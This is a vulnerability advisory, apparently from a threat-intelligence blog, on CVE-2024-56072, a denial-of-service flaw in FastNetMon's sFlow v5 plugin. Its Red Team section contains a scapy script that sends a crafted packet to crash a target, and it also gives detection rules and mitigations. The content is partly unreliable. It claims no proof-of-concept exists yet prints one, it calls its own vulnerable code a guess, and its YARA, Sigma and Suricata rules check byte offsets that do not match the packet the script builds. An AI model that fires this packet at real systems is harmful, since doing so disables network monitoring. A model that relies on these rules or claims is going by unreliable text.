CVE-2024-56072

Executive Summary

CVE-2024-56072 is a denial-of-service (DoS) vulnerability in FastNetMon Community Edition through version 1.2.7. The flaw resides in the sFlow v5 plugin, where a remote attacker can send a crafted packet specifying an excessive number of sFlow samples, causing the application to crash. This vulnerability can be exploited without authentication, making it a significant threat to network monitoring infrastructure. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (due to lack of authentication and potential for service disruption)

Deep Dive & Mechanics

The vulnerability is triggered by a specially crafted sFlow v5 packet. The sFlow protocol is used for network traffic monitoring, and the plugin in FastNetMon parses incoming sFlow datagrams. When a packet contains an abnormally high number of sFlow samples, the plugin fails to handle the data correctly, leading to a crash. This is a classic input validation issue (CWE-20) where the software does not properly check the bounds of the sample count before processing.

The attack does not require any prior knowledge of the network or authentication, as sFlow is typically received on UDP port 6343. An attacker can send a single malicious packet to the FastNetMon instance, causing immediate denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (FastNetMon <= 1.2.7): The sFlow v5 plugin likely reads the sample count from the packet header without validating it against a maximum allowed value. This leads to memory exhaustion or a buffer overflow when processing the samples.

// Pseudocode of vulnerable logic
int sample_count = packet->header->sample_count;
for (int i = 0; i < sample_count; i++) {
    process_sample(packet->samples[i]); // No bounds check
}

Patched Code (Hypothetical): A fix would involve adding a validation check to limit the number of samples processed.

// Patched logic
int sample_count = packet->header->sample_count;
if (sample_count > MAX_SAMPLES) {
    log_error("Too many samples, ignoring packet");
    return;
}
for (int i = 0; i < sample_count; i++) {
    process_sample(packet->samples[i]);
}

Exploitation & Lab Setup

Red Team

1. Environment Setup:

   • Install FastNetMon Community Edition 1.2.7 on a Linux server.
   • Ensure the sFlow plugin is enabled and listening on UDP port 6343.

2. Crafting the Exploit:

   • Use a tool like scapy or hping3 to send a malicious sFlow v5 packet.
   • The packet should contain a large number of sample records (e.g., 10000 samples).

   from scapy.all import *
   import struct
   
   # Build a malicious sFlow v5 packet
   # sFlow header: version=5, agent_address, sub_agent_id, sequence_number, sys_uptime, num_samples
   # For simplicity, we set num_samples to a high value (e.g., 0xFFFF)
   sflow_header = struct.pack('!IIIIII', 5, 0x01020304, 0, 1, 1000, 0xFFFF)
   # Add dummy sample data (minimal to trigger crash)
   payload = sflow_header + b'\x00' * 100
   send(IP(dst="target_ip")/UDP(sport=6343, dport=6343)/Raw(load=payload))
   

3. Execution:

   • Run the script against the target FastNetMon instance.
   • Monitor the application logs for crashes.

Blue Team

1. Detection:

   • Monitor for unusual sFlow traffic on UDP port 6343.
   • Look for packets with an abnormally high number of samples (e.g., > 1000).

2. Mitigation:

   • Restrict access to the sFlow port using firewall rules.
   • Implement network segmentation to limit exposure.
   • Use an IDS/IPS to detect and block malicious sFlow packets.

Indicators of Compromise (IOCs)

• Network IOCs:
  • UDP packets on port 6343 with a sample count exceeding 1000.
  • Rapid crashes of the FastNetMon service.
• File IOCs:
  • Core dumps or crash logs in /var/log/fastnetmon/.
• System IOCs:
  • High memory usage or segmentation faults in FastNetMon processes.

Detection Engineering

YARA Rule

rule CVE_2024_56072_sFlow_DoS {
    meta:
        description = "Detects malicious sFlow v5 packets with excessive samples"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56072"
    strings:
        $sflow_header = { 00 00 00 05 } // sFlow version 5
        $high_sample_count = { FF FF } // Sample count > 65535
    condition:
        $sflow_header at 0 and $high_sample_count at 20
}

Sigma Rule

title: CVE-2024-56072 sFlow DoS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects sFlow packets with excessive sample counts
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 6343
        protocol: udp
        payload|contains: "00000005" # sFlow version 5
        payload|contains: "FFFF" # High sample count
    condition: selection
falsepositives:
    - Legitimate high-volume sFlow traffic
level: high

Suricata Rule

alert udp any any -> any 6343 (msg:"CVE-2024-56072 sFlow DoS Attempt"; content:"|00 00 00 05|"; offset:0; depth:4; content:"|FF FF|"; offset:20; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the sFlow v5 plugin if not required.
   • Restrict access to UDP port 6343 using firewall rules.
   • Monitor for unusual sFlow traffic.

2. Long-term Fix:

   • Apply input validation to limit the number of samples processed.
   • Upgrade to a patched version if available (check vendor updates).
   • Consider using alternative monitoring protocols (e.g., NetFlow v9).

3. Workarounds:

   • Use network segmentation to isolate FastNetMon instances.
   • Implement rate limiting on sFlow traffic.

Valters IT
DevSecOps & Cyber Threat Intelligence